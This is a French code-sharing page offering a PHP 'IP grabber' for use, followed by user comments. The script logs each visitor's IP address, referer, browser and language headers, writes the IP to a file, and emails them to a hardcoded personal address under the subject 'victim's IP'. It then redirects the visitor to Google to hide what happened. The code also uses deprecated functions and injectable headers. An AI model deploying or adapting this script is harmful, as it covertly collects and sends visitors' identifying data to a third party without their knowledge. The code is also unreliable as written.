Envoie ip + quelques info par mail

4/5 (11 avis)

Vue 7 811 fois - Téléchargée 461 fois

Description

Ben c'est un petit script qui recupere l'ip et l'envoie avec la fonction mail() avec quelques infos comme type de compression utilisé, navigateur, dernier url, etc... et qui redirige le site vers google =)

Source / Exemple :


<?PHP
ob_start();
    define("IDX_GRANULARITY", 10000000);

    function getClientIP() {

        $ip = 0;

        if (!empty($_SERVER['HTTP_CLIENT_IP']))
            $ip = $_SERVER['HTTP_CLIENT_IP'];

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) {
                array_unshift($ipList, $ip);
                $ip = 0;
            }
            foreach ($ipList as $v)
            if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
                return $v;
        }
        
        return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
    }

    function searchIndex($ip, $idxFileName = "ip-to-country.idx") {

        $hFile = @fopen($idxFileName, "r");
        if (!$hFile) return False;
        $ip = (int)($ip / IDX_GRANULARITY);
        $iRecord = 0;
        $iIndex = 0;
        while ($aData = fgetcsv($hFile, 100)) {
            if ($ip >= $iIndex && $ip < $aData[0])
                return array($aData[1], $iRecord);
            $iIndex = $aData[0];
            $iRecord = $aData[1];
        }
        fclose($hFile);
        return array(-1, $iRecord);
    }

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen("ip.txt","w");	// On ouvre le fichier en écriture
fseek($fp,0);           // On se place en début de fichier
if (strlen($NewIp) > 6)
	{
		fputs($fp,$NewIp);	// 5.On écrit dans le fichier le nouveau IP
	}
	else
	{
     fputs($fp,"0.0.0.0");	// On écrit dans le fichier "0.0.0.0"
	}	
fclose($fp); 	         	// On ferme le fichier
//print $NewIp ;

//<!-- Envoie ip par mail ! -->

$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);
header('location:http://www.google.fr');
ob_end_flush();
?>

Conclusion :


Il faut PHP5 pour l'utiliser ! =)

Codes Sources

A voir également

Ajouter un commentaire Commentaires
MacGaliver Messages postés 146 Date d'inscription vendredi 28 mai 2010 Statut Membre Dernière intervention 21 juillet 2013 3
28 mai 2012 à 13:42
J'envoi plein de requête en peu de temps.
J'injecte des données faussées dans l'en-tête.
J'utilise un PA / VPN / ou j'injecte un petit script.
Et voilà votre boite mail craque.

OU j'injecte des scripts dangereux dans l'en-tête...
et là cette votre ordi qui craque.

Évitez de piéger, car le piège peux se refermer sur vous-même.

Résultat ==> Script dangereux pour le "pirate" (pirate entre guillemets).
cs_chico200987 Messages postés 92 Date d'inscription samedi 13 novembre 2004 Statut Membre Dernière intervention 26 septembre 2008
14 mars 2005 à 19:10
c'est fait merci pour cette remarque ;)
stepibou Messages postés 112 Date d'inscription jeudi 11 mars 2004 Statut Membre Dernière intervention 11 octobre 2006
14 mars 2005 à 11:48
salut chico,

tu marque que c'est pour debutant, donc
au lieu de marquer : "ben voilà quoi :)"
dans explication finale, marque plutot qui faut php5!

bon voila , sinon c'est bien.
a+
cs_chico200987 Messages postés 92 Date d'inscription samedi 13 novembre 2004 Statut Membre Dernière intervention 26 septembre 2008
13 mars 2005 à 12:35
a oui merc c'était "<!-- script pour l'ip -->" qui genais merci ;o) jlavais oublié lui =)
cs_Anthomicro Messages postés 9433 Date d'inscription mardi 9 octobre 2001 Statut Membre Dernière intervention 13 avril 2007 9
13 mars 2005 à 12:33
Je t'ai dit d'enlever le code html....

Et ensuite <?PHP est à remplacer par <?php

Bref enlève ça : <!-- script pour l'ip -->
Afficher les 11 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.